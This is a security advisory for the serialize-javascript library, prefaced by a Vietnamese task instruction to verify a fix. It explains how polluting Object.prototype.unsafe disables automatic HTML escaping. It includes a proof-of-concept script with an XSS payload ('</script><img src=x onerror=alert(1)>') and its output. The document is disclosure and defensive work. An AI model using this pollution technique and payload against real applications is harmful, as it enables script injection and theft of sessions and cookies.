Security Advisory: Prototype pollution of `Object.prototype.unsafe` silently disables serialize-javascript's documented automatic XSS escaping

Bắt đầu trong index.js, tại giá trị mặc định của tùy chọn quanh dòng 123 và các kiểm tra unsafe quanh dòng 214 và 278, sau đó so sánh hành vi với poc04_proto_pollution_xss.js. Xác minh rằng Object.prototype.unsafe được kế thừa không thể vô hiệu hóa việc tự động escaping, trong khi tùy chọn unsafe được truyền rõ ràng vẫn giữ nguyên hành vi đã được ghi nhận. Hoàn tất khi bản tái hiện pollution không còn phát ra HTML payload chưa được escaping.

Summary

Attribute	Value
Vendor / Org	Yahoo
Product	serialize-javascript
Component	index.js — serialize() option reads
Affected Versions	>= 1.5.0, <= 7.1.1 (all releases exposing options.unsafe)
Severity	Medium
CVSS 3.1 Score	6.9
CVSS 3.1 Vector	CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:L/A:N
CWE	CWE-1321 (Improperly Controlled Modification of Object Prototype Attributes), chained to CWE-79
Affected File	index.js:214, index.js:278 (option reads); index.js:123 (default)

---

CVSS 3.1 Breakdown

Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:L/A:N — Score: 6.9 (Medium)

Metric	Value	Justification (from the PoC)
Attack Vector (AV)	N	Payload arrives over the network as serialized data embedded into an HTML response.
Attack Complexity (AC)	H	Exploitation depends on a condition beyond the attacker's control: a separate in-process prototype-pollution gadget must already be reachable to set Object.prototype.unsafe.
Privileges Required (PR)	N	No authentication needed to submit the polluting payload or the XSS string.
User Interaction (UI)	R	A victim must load the page that embeds the unescaped output.
Scope (S)	C	The serializer's escaping component is subverted; impact lands in the victim's browser security context (a different authority).
Confidentiality (C)	H	Resulting XSS can read cookies/DOM/session in the victim origin.
Integrity (I)	L	Script can modify page content within the victim origin.
Availability (A)	N	No availability impact demonstrated.

---

Description

Improper prototype-attribute control in the option handling of Yahoo serialize-javascript >= 1.5.0, <= 7.1.1 allows a remote attacker who can pollute Object.prototype to disable the library's automatic HTML/XSS escaping and inject script into consumer pages via a serialized string value.

serialize-javascript documents a security guarantee: "HTML characters and JavaScript line
terminators are escaped automatically" so output is safe as the content of a <script>
element. That escaping is gated by options.unsafe !== true, and options is a plain
object inheriting from Object.prototype. When any prototype-pollution gadget in the same
process sets Object.prototype.unsafe = true, every serialize() call — including calls
that pass no options at all — reads the inherited unsafe value as true and skips
escaping, emitting attacker-controlled markup verbatim.

Security consequence (so-what): a generic, data-only prototype-pollution primitive is
escalated into stored/reflected XSS in every browser that renders the serialized output,
because the library's own documented XSS defense is silently turned off.

---

Root Cause

options defaults to an ordinary object and the security-relevant flags are read as plain
(inherited) property accesses with no hasOwnProperty check:

options || (options = {});                                     // index.js:123
...
if (options && options.unsafe !== true) {                      // index.js:214
    serializedFn = escapeFunctionBody(serializedFn);
}
...
if (options.unsafe !== true) {                                 // index.js:278
    str = str.replace(UNSAFE_CHARS_REGEXP, escapeUnsafeChars);
}

Because options.unsafe resolves through the prototype chain, a polluted
Object.prototype.unsafe is indistinguishable from an explicit {unsafe:true}. The
escaping at line 278/279 (the documented guarantee) is therefore skipped.

---

Reproduction Environment

Item	Value
Runtime	Node.js v26.5.0
serialize-javascript	7.1.1 (installed from npm registry)
OS	macOS (darwin 25.6.0)
Build tool	npm

---

Proof of Concept

POC Source Code

package.json

{
  "name": "sjs-cve-poc",
  "version": "1.0.0",
  "private": true,
  "dependencies": {
    "serialize-javascript": "7.1.1"
  }
}

poc04_proto_pollution_xss.js

// PoC #4 — a prototype-pollution gadget elsewhere in the process silently disables the
// README's documented automatic XSS escaping for EVERY serialize() call.
const serialize = require('serialize-javascript');

const payload = { bio: '</script><img src=x onerror=alert(1)>' };

// --- control baseline: default behavior escapes (documented guarantee) ---
console.log('BEFORE pollution:', serialize(payload));

// --- generic prototype-pollution gadget (data-only write reached via any PP sink) ---
Object.prototype.unsafe = true;

// --- same call, no options passed -> escaping is now silently OFF ---
const out = serialize(payload);
console.log('AFTER  pollution:', out);

const escaped = !out.includes('</script>');
console.log('still escaped?', escaped, '=> XSS payload emitted verbatim:', !escaped);
delete Object.prototype.unsafe;

Execution Steps

1. mkdir poc && cd poc
2. Save the package.json above, then npm install (pulls serialize-javascript@7.1.1).
3. Save the source above as poc04_proto_pollution_xss.js.
4. node poc04_proto_pollution_xss.js

Actual Execution Evidence

BEFORE pollution: {"bio":"\u003C\u002Fscript\u003E\u003Cimg src=x onerror=alert(1)\u003E"}
AFTER  pollution: {"bio":"</script><img src=x onerror=alert(1)>"}
still escaped? false => XSS payload emitted verbatim: true

Analysis of Results

The control baseline (BEFORE) proves the library normally honours its documented
guarantee: <, >, / are emitted as \u003C, \u003E, \u002F. The only change
between the two calls is a single write to Object.prototype.unsafe; the serialize call
itself passes no options. Yet AFTER, the output contains a literal </script> closing
the inline script element followed by an executable <img onerror> — a working XSS payload.
Causality is therefore isolated to the inherited-property read at index.js:278.

---

Impact

Any application that (a) uses serialize-javascript to embed state into HTML relying on the
documented auto-escaping, and (b) has any prototype-pollution gadget reachable in the same
process, is exposed to XSS in every rendered page — even for serialize calls that never opt
into unsafe. This converts a data-only pollution write into browser-side code execution
in the consumer's origin.

---

Remediation

Recommended Fix

Read the security-relevant options as own properties and default to a null-prototype
object, so a polluted prototype cannot flip them:

options = (typeof options === 'object' && options) ? options : Object.create(null);
var unsafe = Object.prototype.hasOwnProperty.call(options, 'unsafe') && options.unsafe === true;

Use the local unsafe at lines 214/278. This restores the README guarantee ("HTML
characters and JavaScript line terminators are escaped automatically") for every caller
that does not explicitly pass {unsafe:true} as an own property — a maintainer-owned
change, not caller advice.

Workaround

Consumers can freeze/guard Object.prototype (e.g. run under a prototype-pollution
mitigation), or explicitly pass {unsafe:false} as an own property on every call.

---

References

• Affected source: index.js:214, index.js:278, index.js:123 in yahoo/serialize-javascript v7.1.1.
• CWE-1321: https://cwe.mitre.org/data/definitions/1321.html
• CWE-79: https://cwe.mitre.org/data/definitions/79.html
• Distinct from prior serialize-javascript XSS advisories (GHSA-h9rv-jmmf-4pgx, GHSA-76p7-773f-r4q5) which concerned value escaping, not prototype-pollution of the unsafe gate.